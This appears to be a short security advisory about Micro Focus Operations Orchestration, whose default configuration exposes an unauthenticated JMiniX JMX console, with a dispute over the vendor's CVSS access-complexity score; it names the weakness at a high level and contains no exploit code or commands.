[R1] Micro Focus Operations Orchestrations Information Disclosure and Remote Denial of Service

High

Synopsis

The default configuration of Operations Orchestration exposes the JMiniX JMX console to unauthenticated remote users. A malicious attacker can use this console to gather information:

A note on the CVSS scoring. Micro Focus has given this a score using “AC:H” (or Access Complexity: High). The description for a “Low” access complexity follows:

Specialized access conditions or extenuating circumstances do not exist. The following are examples:
- The affected product typically requires access to a wide range of systems and users, possibly anonymous and untrusted (e.g., Internet-facing web or mail server).
- The affected configuration is default or ubiquitous.
- The attack can be performed manually and requires little skill or additional information gathering.
- The race condition is a lazy one (i.e., it is technically a race but easily winnable).
The affected configuration is the default configuration. Tenable’s CVSS scoring reflects that while Micro Focus’ does not.
